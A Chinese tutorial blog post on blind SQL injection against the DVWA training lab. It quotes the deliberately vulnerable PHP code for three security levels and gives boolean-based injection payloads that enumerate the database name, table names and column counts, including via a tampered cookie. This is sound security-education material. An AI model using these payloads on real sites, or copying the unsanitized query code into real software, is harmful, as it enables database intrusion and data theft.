zoukankan      html  css  js  c++  java
  • DVWA-sql注入(盲注)

    DVWA简介

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

    DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

    需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

     

    SQL Injection(Blind)

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

    手工盲注思路

    手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

    盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。

    下面简要介绍手工盲注的步骤(可与之前的手工注入作比较,在之前的链接写过):

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解当前数据库名

    3.猜解数据库中的表名

    4.猜解表中的字段名

    5.猜解数据

     

    LOW:

    代码:

    <?php 
    
    if( isset( $_GET[ 'Submit' ] ) ) { 
        // Get input 
        $id = $_GET[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,

    User ID exists in the database.
    

    ‘与‘

    `User ID is MISSING from the database.`
    

    ,因此这里是SQL盲注漏洞。

    注入方法一:布尔盲注

    输入1’ and 1=1 #,显示存在:

    输入1’ and 1=2 #,显示不存在:

     存在字符型的盲注。

    然后猜解数据库名:输入1’ and length(database())=4 #,显示存在:说明长度为4

    然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

    1’ and ascii(substr(databse(),1,1))=100 #

     第一个字母的ASCII值是100,也就是d,以此类推得出数据库名是dvwa。

    之后猜解表名:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

     说明有两个表。

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 

    显示存在,说明第一个表的长度是9.

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

    显示存在,说明第一个字母是g。

    再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

    然后猜解字段名:

    猜解数量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

    显示存在,说明一共8个字段。

    然后再利用2分法猜解字段名和字段中数据。

    除了2分法,还有其他的盲注方法,比如延时注入,在之前的sqli-labs有介绍,在这不多说。

    MEDIUM:

    代码:

    <?php 
    
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $id = $_POST[ 'id' ]; 
        $id = mysql_real_escape_string( $id ); 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        //mysql_close(); 
    } 
    
    ?> 

    可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,\,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    这种情况就和显注教程类似,通过抓包修改id的值进行注入,在这不再演示。

    high:

    代码:

    <?php 
    
    if( isset( $_COOKIE[ 'id' ] ) ) { 
        // Get input 
        $id = $_COOKIE[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Might sleep a random amount 
            if( rand( 0, 5 ) == 3 ) { 
                sleep( rand( 2, 4 ) ); 
            } 
    
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    漏洞利用:

    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

    抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

    抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

    抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

  • 相关阅读:
    宿主机无法访问CentOS7上Jenkins服务的解决办法
    415. Add Strings
    367. Valid Perfect Square
    326. Power of Three
    258. Add Digits
    231. Power of Two
    204. Count Primes
    202. Happy Number
    172. Factorial Trailing Zeroes
    171. Excel Sheet Column Number
  • 原文地址:https://www.cnblogs.com/hzk001/p/12260320.html
Copyright © 2011-2022 走看看